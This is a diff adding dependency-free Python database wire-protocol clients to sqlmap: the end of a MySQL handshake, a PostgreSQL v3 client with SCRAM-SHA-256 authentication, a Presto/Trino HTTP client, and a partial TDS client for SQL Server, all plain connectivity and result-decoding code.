flags = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 |
|
||||
_CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH)
|
||||
if database:
|
||||
flags |= _CLIENT_CONNECT_WITH_DB
|
||||
response = struct.pack("<I", flags) + struct.pack("<I", _MAX_PACKET) + struct.pack("<B", 45) + (b"\x00" * 23)
|
||||
response += (user or "").encode("utf-8") + b"\x00"
|
||||
response += struct.pack("<B", len(auth_response)) + auth_response
|
||||
if database:
|
||||
response += database.encode("utf-8") + b"\x00"
|
||||
response += plugin.encode("ascii") + b"\x00"
|
||||
_send_packet(sock, seq + 1, response)
|
||||
|
||||
_finish_auth(sock, password or "", plugin, salt)
|
||||
except (DatabaseError, InterfaceError):
|
||||
_safe_close(sock)
|
||||
raise
|
||||
except Exception as ex:
|
||||
_safe_close(sock)
|
||||
raise OperationalError("handshake failed (%s)" % ex)
|
||||
|
||||
connection = Connection(sock)
|
||||
# SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 =
|
||||
# utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of
|
||||
# collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1
|
||||
# so DML persists even if the server default is autocommit=0. Both best-effort (one-time, at connect).
|
||||
for setup in ("SET NAMES utf8mb4", "SET autocommit=1"):
|
||||
try:
|
||||
connection._query(setup)
|
||||
except Exception:
|
||||
pass
|
||||
return connection
|
||||
|
||||
def _safe_close(sock):
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
@@ -0,0 +1,307 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only).
|
||||
|
||||
Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica).
|
||||
Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose
|
||||
per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and
|
||||
commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the
|
||||
server's readable '\\xHEX' text (text result format), so no memoryview/blob corruption either.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_PROTOCOL_VERSION = 196608 # 3.0
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read
|
||||
_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver
|
||||
|
||||
def _decode_bytea(raw):
|
||||
# PG text output: modern 'hex' = b'\\x<hexdigits>'; legacy 'escape' = octal \ooo + literal bytes
|
||||
if raw[:2] == b"\\x":
|
||||
try:
|
||||
return binascii.unhexlify(raw[2:])
|
||||
except (binascii.Error, ValueError):
|
||||
return raw.decode("utf-8", "replace")
|
||||
src, out, i, n = bytearray(raw), bytearray(), 0, len(raw)
|
||||
while i < n:
|
||||
if src[i] == 0x5c and i + 1 < n: # backslash
|
||||
nxt = src[i + 1]
|
||||
if nxt == 0x5c:
|
||||
out.append(0x5c); i += 2
|
||||
elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal
|
||||
out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4
|
||||
else:
|
||||
out.append(nxt); i += 2
|
||||
else:
|
||||
out.append(src[i]); i += 1
|
||||
return bytes(out)
|
||||
|
||||
# SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2)
|
||||
_SQLSTATE_CLASS = {
|
||||
"22": DataError, "23": IntegrityError,
|
||||
"08": OperationalError, "28": OperationalError, "53": OperationalError,
|
||||
"57": OperationalError, "58": OperationalError,
|
||||
}
|
||||
|
||||
def _xor(a, b):
|
||||
# byte-wise XOR of two equal-length byte strings (Python 2 and 3 safe)
|
||||
if str is bytes: # Python 2: iterating bytes yields 1-char strings
|
||||
return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
|
||||
return bytes(x ^ y for x, y in zip(a, b))
|
||||
|
||||
def _recvn(sock, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _read_message(sock):
|
||||
mtype = _recvn(sock, 1)
|
||||
(length,) = struct.unpack("!I", _recvn(sock, 4))
|
||||
if length < 4 or length > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("invalid backend message length (%d)" % length)
|
||||
return mtype, _recvn(sock, length - 4)
|
||||
|
||||
def _send(sock, mtype, payload):
|
||||
sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload)
|
||||
|
||||
def _error_message(payload):
|
||||
# ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte.
|
||||
# Returns (human message, SQLSTATE). Tolerant of a truncated/unterminated stream (find() not index()).
|
||||
fields, off = {}, 0
|
||||
while off < len(payload) and payload[off:off + 1] != b"\x00":
|
||||
code = payload[off:off + 1]
|
||||
end = payload.find(b"\x00", off + 1)
|
||||
if end == -1:
|
||||
break
|
||||
fields[code] = payload[off + 1:end].decode("utf-8", "replace")
|
||||
off = end + 1
|
||||
return fields.get(b"M", "unknown error"), fields.get(b"C", "")
|
||||
|
||||
def _raise_server_error(message, sqlstate):
|
||||
raise _SQLSTATE_CLASS.get((sqlstate or "")[:2], ProgrammingError)("(remote) %s" % message)
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 # reset before (a failed) query
|
||||
self.description, self._rows, self._pos, self.rowcount = self.connection._simple_query(query)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror)
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # simple-query protocol commits each statement implicitly
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
_send(self._sock, b"X", b"") # Terminate
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _clear_aborted(self):
|
||||
# a prior statement left an aborted transaction block ('E'): every further statement errors with
|
||||
# 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics).
|
||||
_send(self._sock, b"Q", b"ROLLBACK\x00")
|
||||
while True:
|
||||
mtype, payload = _read_message(self._sock)
|
||||
if mtype == b"Z":
|
||||
self._txn_status = payload[:1] or b"I"
|
||||
break
|
||||
|
||||
def _simple_query(self, query):
|
||||
if self._txn_status == b"E":
|
||||
self._clear_aborted()
|
||||
_send(self._sock, b"Q", query.encode("utf-8") + b"\x00")
|
||||
|
||||
description, rows, rowcount, error = None, [], -1, None
|
||||
while True:
|
||||
mtype, payload = _read_message(self._sock)
|
||||
try:
|
||||
if mtype == b"T": # RowDescription (a new result set: reset rows so we return only the last one)
|
||||
(count,) = struct.unpack("!H", payload[:2])
|
||||
description, rows, rowcount, off = [], [], -1, 2
|
||||
for _ in range(count):
|
||||
end = payload.index(b"\x00", off)
|
||||
name = payload[off:end].decode("utf-8", "replace")
|
||||
off = end + 1
|
||||
(typeoid,) = struct.unpack("!I", payload[off + 6:off + 10])
|
||||
off += 18 # tableoid4 colno2 typeoid4 typelen2 typmod4 format2
|
||||
description.append((name, typeoid, None, None, None, None, None))
|
||||
elif mtype == b"D": # DataRow
|
||||
(count,) = struct.unpack("!H", payload[:2])
|
||||
off, row = 2, []
|
||||
for col in range(count):
|
||||
(vlen,) = struct.unpack("!i", payload[off:off + 4])
|
||||
off += 4
|
||||
if vlen == -1:
|
||||
row.append(None)
|
||||
else:
|
||||
if off + vlen > len(payload):
|
||||
raise InterfaceError("truncated DataRow")
|
||||
raw = payload[off:off + vlen]
|
||||
off += vlen
|
||||
if description and col < len(description) and description[col][1] == _OID_BYTEA:
|
||||
row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver)
|
||||
else:
|
||||
try:
|
||||
row.append(raw.decode("utf-8"))
|
||||
except UnicodeDecodeError:
|
||||
row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD
|
||||
rows.append(tuple(row))
|
||||
elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...)
|
||||
tag = payload[:-1].decode("utf-8", "replace").split()
|
||||
if tag and tag[-1].isdigit():
|
||||
rowcount = int(tag[-1])
|
||||
elif mtype == b"G": # CopyInResponse - server now waits for client CopyData; refuse to avoid a deadlock
|
||||
_send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail
|
||||
elif mtype == b"E": # ErrorResponse
|
||||
error = _error_message(payload)
|
||||
elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status
|
||||
self._txn_status = payload[:1] or b"I"
|
||||
break
|
||||
# ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed backend message: %s" % ex)
|
||||
if error is not None:
|
||||
_raise_server_error(*error)
|
||||
return description, rows, 0, rowcount
|
||||
|
||||
def _authenticate(sock, user, password):
|
||||
cfirst_bare = None
|
||||
while True:
|
||||
mtype, payload = _read_message(sock)
|
||||
if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk
|
||||
continue
|
||||
if mtype == b"E":
|
||||
_raise_server_error_as_operational(payload)
|
||||
if mtype != b"R":
|
||||
raise InterfaceError("unexpected message %r during authentication" % mtype)
|
||||
(code,) = struct.unpack("!I", payload[:4])
|
||||
if code == 0: # AuthenticationOk (also the trust case)
|
||||
return
|
||||
elif code == 3: # cleartext password
|
||||
_send(sock, b"p", (password or "").encode("utf-8") + b"\x00")
|
||||
elif code == 5: # MD5 password
|
||||
salt = payload[4:8]
|
||||
inner = hashlib.md5((password or "").encode("utf-8") + (user or "").encode("utf-8")).hexdigest()
|
||||
token = b"md5" + hashlib.md5(inner.encode("ascii") + salt).hexdigest().encode("ascii")
|
||||
_send(sock, b"p", token + b"\x00")
|
||||
elif code == 10: # SASL (SCRAM-SHA-256)
|
||||
if not hasattr(hashlib, "pbkdf2_hmac"):
|
||||
raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)")
|
||||
nonce = base64.b64encode(os.urandom(18)).decode("ascii")
|
||||
cfirst_bare = "n=,r=%s" % nonce
|
||||
client_first = "n,," + cfirst_bare
|
||||
_send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii"))
|
||||
elif code == 11: # SASLContinue (server-first)
|
||||
try:
|
||||
server_first = payload[4:].decode("ascii")
|
||||
attrs = dict(kv.split("=", 1) for kv in server_first.split(","))
|
||||
snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"])
|
||||
except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex:
|
||||
raise OperationalError("malformed SCRAM server-first message (%s)" % ex)
|
||||
salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations)
|
||||
client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest()
|
||||
stored_key = hashlib.sha256(client_key).digest()
|
||||
client_final_noproof = "c=biws,r=%s" % snonce
|
||||
auth_message = "%s,%s,%s" % (cfirst_bare, server_first, client_final_noproof)
|
||||
client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest()
|
||||
proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii")
|
||||
_send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii"))
|
||||
elif code == 12: # SASLFinal
|
||||
pass
|
||||
else:
|
||||
raise InterfaceError("unsupported authentication request %d" % code)
|
||||
|
||||
def _raise_server_error_as_operational(payload):
|
||||
message, _ = _error_message(payload)
|
||||
raise OperationalError("(remote) %s" % message)
|
||||
|
||||
def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout)
|
||||
sock.settimeout(None)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
params = b""
|
||||
for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")):
|
||||
params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00"
|
||||
params += b"\x00"
|
||||
_send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params)
|
||||
|
||||
try:
|
||||
_authenticate(sock, user, password)
|
||||
while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse)
|
||||
mtype, payload = _read_message(sock)
|
||||
if mtype == b"E":
|
||||
_raise_server_error_as_operational(payload)
|
||||
if mtype == b"Z":
|
||||
break
|
||||
except Exception: # any setup failure (DB-API or otherwise) must still close the socket
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
|
||||
return Connection(sock)
|
||||
@@ -0,0 +1,146 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python Presto/Trino client over its native HTTP/REST interface (stdlib only, no
|
||||
presto-python-client). A query is POSTed to /v1/statement; the server returns JSON pages carrying
|
||||
'columns'/'data' and a 'nextUri' to poll until the statement finishes. Both X-Presto-* and X-Trino-*
|
||||
headers are sent so the same client works against Presto and Trino.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import socket
|
||||
|
||||
try:
|
||||
from urllib.request import Request, urlopen # Python 3
|
||||
from urllib.error import HTTPError, URLError
|
||||
except ImportError:
|
||||
from urllib2 import Request, urlopen, HTTPError, URLError # Python 2
|
||||
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
def _convert(value, coltype):
|
||||
# normalize Presto/Trino JSON cells for sqlmap: VARBINARY arrives base64-encoded (decode to bytes so
|
||||
# direct()'s binary handling hex-encodes it), ARRAY/MAP/ROW arrive as JSON structures (serialize to text)
|
||||
if value is None:
|
||||
return value
|
||||
if coltype.startswith("varbinary"):
|
||||
try:
|
||||
return base64.b64decode(value)
|
||||
except Exception:
|
||||
return value
|
||||
if isinstance(value, (list, dict)):
|
||||
return json.dumps(value)
|
||||
return value
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, host, port, user, password, catalog, schema, timeout):
|
||||
self._statement_url = "http://%s:%d/v1/statement" % (host, port)
|
||||
self._timeout = timeout
|
||||
self._headers = {"Content-Type": "text/plain"}
|
||||
for prefix in ("X-Presto-", "X-Trino-"):
|
||||
self._headers[prefix + "User"] = user or "sqlmap"
|
||||
self._headers[prefix + "Source"] = "dbwire"
|
||||
# only send Catalog/Schema when supplied: a Schema without a Catalog makes Trino reject every
|
||||
# request ("Schema is set but catalog is not"), so never force a "default" schema
|
||||
if catalog:
|
||||
self._headers[prefix + "Catalog"] = catalog
|
||||
if schema:
|
||||
self._headers[prefix + "Schema"] = schema
|
||||
if password:
|
||||
token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii")
|
||||
self._headers["Authorization"] = "Basic %s" % token
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
pass # HTTP is stateless
|
||||
|
||||
def _request(self, url, data=None):
|
||||
req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers)
|
||||
try:
|
||||
body = urlopen(req, timeout=self._timeout).read().decode("utf-8", "replace")
|
||||
except HTTPError as ex:
|
||||
raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200]))
|
||||
except URLError as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
except (socket.timeout, socket.error) as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
try:
|
||||
return json.loads(body)
|
||||
except ValueError as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _query(self, query):
|
||||
page = self._request(self._statement_url, data=query)
|
||||
columns, rows, types = None, [], []
|
||||
while True:
|
||||
if page.get("error"):
|
||||
message = page["error"].get("message", "unknown error")
|
||||
raise ProgrammingError("(remote) %s" % message)
|
||||
if page.get("columns") and columns is None:
|
||||
columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]]
|
||||
types = [(c.get("type") or "") for c in page["columns"]]
|
||||
for row in page.get("data") or []:
|
||||
rows.append(tuple(_convert(v, types[i] if i < len(types) else "") for i, v in enumerate(row)))
|
||||
next_uri = page.get("nextUri")
|
||||
if not next_uri:
|
||||
break
|
||||
page = self._request(next_uri)
|
||||
return columns, rows
|
||||
|
||||
def connect(host=None, port=8080, user=None, password=None, database=None, connect_timeout=None, schema=None, **kwargs):
|
||||
connection = Connection(host or "localhost", int(port or 8080), user, password, database, schema, connect_timeout)
|
||||
try:
|
||||
connection._query("SELECT 1") # verify connectivity/credentials
|
||||
except ProgrammingError:
|
||||
raise
|
||||
except Exception as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
return connection
|
||||
@@ -0,0 +1,613 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server / Sybase (stdlib only).
|
||||
|
||||
Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption
|
||||
would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7,
|
||||
SQL batch, and decoding of the common column types (int/bit/float/money/decimal, (n)char/(n)varchar and
|
||||
their MAX/PLP forms, binary, guid, datetime family) to text (binary columns are returned as raw bytes so
|
||||
sqlmap hex-encodes them).
|
||||
"""
|
||||
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000
|
||||
|
||||
# packet types
|
||||
_PKT_SQL_BATCH = 0x01
|
||||
_PKT_LOGIN7 = 0x10
|
||||
_PKT_PRELOGIN = 0x12
|
||||
_STATUS_EOM = 0x01
|
||||
|
||||
def _u8(data, off):
|
||||
return struct.unpack("<B", data[off:off + 1])[0]
|
||||
|
||||
def _recvn(sock, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _send_message(sock, mtype, data):
|
||||
# split into <= 4096-byte packets (8-byte header + <=4088 data); only the last carries the EOM status bit
|
||||
chunk_size = 4088
|
||||
packet_id = 0
|
||||
off = 0
|
||||
while True:
|
||||
chunk = data[off:off + chunk_size]
|
||||
off += chunk_size
|
||||
last = off >= len(data)
|
||||
header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0)
|
||||
sock.sendall(header + chunk)
|
||||
packet_id += 1
|
||||
if last:
|
||||
break
|
||||
|
||||
def _read_message(sock):
|
||||
# reassemble a full TDS message across packets (EOM status bit marks the last)
|
||||
body = b""
|
||||
while True:
|
||||
header = _recvn(sock, 8)
|
||||
mtype, status, length = struct.unpack(">BBH", header[:4])
|
||||
if length < 8 or length > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("invalid TDS packet length (%d)" % length)
|
||||
body += _recvn(sock, length - 8)
|
||||
if status & _STATUS_EOM:
|
||||
break
|
||||
return body
|
||||
|
||||
# ---- PRELOGIN ----------------------------------------------------------------------------------------
|
||||
|
||||
def _prelogin(sock):
|
||||
ver = struct.pack(">IH", 0x11000000, 0)
|
||||
enc = b"\x02" # ENCRYPT_NOT_SUP
|
||||
tokens = b"\x00" + struct.pack(">HH", 11, len(ver))
|
||||
tokens += b"\x01" + struct.pack(">HH", 11 + len(ver), len(enc))
|
||||
tokens += b"\xff"
|
||||
_send_message(sock, _PKT_PRELOGIN, tokens + ver + enc)
|
||||
body = _read_message(sock)
|
||||
off = 0
|
||||
while off < len(body) and _u8(body, off) != 0xff:
|
||||
token = _u8(body, off)
|
||||
toff, tlen = struct.unpack(">HH", body[off + 1:off + 5])
|
||||
if token == 0x01 and _u8(body, toff) == 0x03: # server requires encryption
|
||||
raise NotSupportedError("server requires TDS encryption; the dependency-free client supports cleartext only")
|
||||
off += 5
|
||||
|
||||
# ---- LOGIN7 ------------------------------------------------------------------------------------------
|
||||
|
||||
def _encode_password(password):
|
||||
out = bytearray()
|
||||
for b in bytearray(password.encode("utf-16-le")):
|
||||
b = ((b << 4) & 0xf0) | ((b >> 4) & 0x0f)
|
||||
out.append(b ^ 0xa5)
|
||||
return bytes(out)
|
||||
|
||||
def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire"):
|
||||
fields = [
|
||||
hostname.encode("utf-16-le"),
|
||||
(user or "").encode("utf-16-le"),
|
||||
_encode_password(password or ""),
|
||||
appname.encode("utf-16-le"),
|
||||
b"", # server name
|
||||
b"", # (extension / unused)
|
||||
"dbwire".encode("utf-16-le"), # client interface name
|
||||
b"", # language
|
||||
(database or "").encode("utf-16-le"),
|
||||
]
|
||||
char_counts = [6, len(user or ""), len(password or ""), 6, 0, 0, 6, 0, len(database or "")]
|
||||
|
||||
base = 94 # fixed header (36) + offset/length block (58)
|
||||
var, offsets, cursor = b"", b"", base
|
||||
for i, data in enumerate(fields):
|
||||
offsets += struct.pack("<HH", cursor if data else base, char_counts[i])
|
||||
var += data
|
||||
cursor += len(data)
|
||||
|
||||
offsets += b"\x00" * 6 # ClientID (MAC)
|
||||
offsets += struct.pack("<HH", base, 0) # SSPI
|
||||
offsets += struct.pack("<HH", base, 0) # AtchDBFile
|
||||
offsets += struct.pack("<HH", base, 0) # ChangePassword
|
||||
offsets += struct.pack("<I", 0) # cbSSPILong
|
||||
|
||||
header = struct.pack("<I", 0x74000004) # TDS 7.4
|
||||
header += struct.pack("<I", 4096) # packet size
|
||||
header += struct.pack("<I", 0) # client prog version
|
||||
header += struct.pack("<I", 0) # client PID
|
||||
header += struct.pack("<I", 0) # connection id
|
||||
# OptionFlags2 fODBC (0x02): make the server prepare the session like ODBC/FreeTDS - SET ANSI_DEFAULTS ON
|
||||
# (ANSI_NULLS/WARNINGS/PADDING, CONCAT_NULL_YIELDS_NULL, QUOTED_IDENTIFIER) + TEXTSIZE 2147483647 (else the
|
||||
# default 4096 silently truncates varchar(max)/text/image dumps) + IMPLICIT_TRANSACTIONS OFF + ROWCOUNT OFF
|
||||
header += struct.pack("<BBBB", 0, 0x02, 0, 0) # option flags 1, option flags 2 (fODBC), type flags, option flags 3
|
||||
header += struct.pack("<i", 0) # client time zone
|
||||
header += struct.pack("<I", 0) # client LCID
|
||||
|
||||
payload = header + offsets + var
|
||||
payload = struct.pack("<I", len(payload) + 4) + payload # prepend total length
|
||||
_send_message(sock, _PKT_LOGIN7, payload)
|
||||
_parse_tokens(sock, login=True)
|
||||
|
||||
# ---- token stream + type decoding --------------------------------------------------------------------
|
||||
|
||||
def _read_us_varchar(data, off):
|
||||
(n,) = struct.unpack("<B", data[off:off + 1])
|
||||
return data[off + 1:off + 1 + n * 2].decode("utf-16-le", "replace"), off + 1 + n * 2
|
||||
|
||||
def _decode_datetime(raw):
|
||||
days, ticks = struct.unpack("<iI", raw)
|
||||
import datetime
|
||||
return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(days=days, milliseconds=ticks * 10.0 / 3.0))
|
||||
|
||||
def _decode_money(raw):
|
||||
if len(raw) == 4:
|
||||
v = struct.unpack("<i", raw)[0]
|
||||
else: # 8 bytes: signed high dword, unsigned low dword
|
||||
hi, lo = struct.unpack("<iI", raw)
|
||||
v = (hi << 32) | lo
|
||||
s = "%05d" % abs(v) # scale 4; format from the integer (int64 money exceeds float's ~15-digit precision)
|
||||
return ("-" if v < 0 else "") + s[:-4] + "." + s[-4:]
|
||||
|
||||
def _decode_smalldatetime(raw):
|
||||
import datetime
|
||||
days, mins = struct.unpack("<HH", raw) # 2-byte days since 1900-01-01 + 2-byte minutes
|
||||
return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(days=days, minutes=mins))
|
||||
|
||||
def _decode_numeric(raw, scale):
|
||||
sign = bytearray(raw)[0] # 1 == positive, 0 == negative; magnitude is little-endian
|
||||
magnitude = 0
|
||||
for b in reversed(bytearray(raw[1:])):
|
||||
magnitude = (magnitude << 8) | b
|
||||
value = magnitude if sign else -magnitude
|
||||
if scale:
|
||||
s = "%0*d" % (scale + 1, abs(value))
|
||||
return ("-" if value < 0 else "") + s[:-scale] + "." + s[-scale:]
|
||||
return str(value)
|
||||
|
||||
def _decode_guid(raw):
|
||||
a, b, c = struct.unpack("<IHH", raw[:8]) # Data1/2/3 little-endian, Data4 big-endian (mixed-endian GUID)
|
||||
d = raw[8:]
|
||||
return "%08X-%04X-%04X-%s-%s" % (a, b, c,
|
||||
"".join("%02X" % x for x in bytearray(d[:2])), "".join("%02X" % x for x in bytearray(d[2:])))
|
||||
|
||||
def _decode_temporal(t, scale, raw):
|
||||
# DATE 0x28 / TIME 0x29 / DATETIME2 0x2a / DATETIMEOFFSET 0x2b; time is scaled 10^-scale second units,
|
||||
# rendered with the column's exact fractional precision (Python datetime only holds microseconds)
|
||||
import datetime
|
||||
offset = None
|
||||
if t == 0x2b: # trailing 2-byte signed offset (minutes from UTC); value bytes are stored as UTC
|
||||
offset = struct.unpack("<h", raw[-2:])[0]
|
||||
raw = raw[:-2]
|
||||
has_date = t in (0x28, 0x2a, 0x2b)
|
||||
has_time = t != 0x28
|
||||
date_bytes = raw[-3:] if has_date else b""
|
||||
time_bytes = (raw[:-3] if has_date else raw) if has_time else b""
|
||||
days = struct.unpack("<I", date_bytes + b"\x00")[0] if has_date else 0
|
||||
base = datetime.datetime(1, 1, 1) + datetime.timedelta(days=days)
|
||||
frac = ""
|
||||
if has_time:
|
||||
ticks = struct.unpack("<Q", time_bytes + b"\x00" * (8 - len(time_bytes)))[0]
|
||||
base += datetime.timedelta(seconds=ticks // (10 ** scale))
|
||||
if scale:
|
||||
frac = "." + ("%0*d" % (scale, ticks % (10 ** scale)))
|
||||
if offset is not None:
|
||||
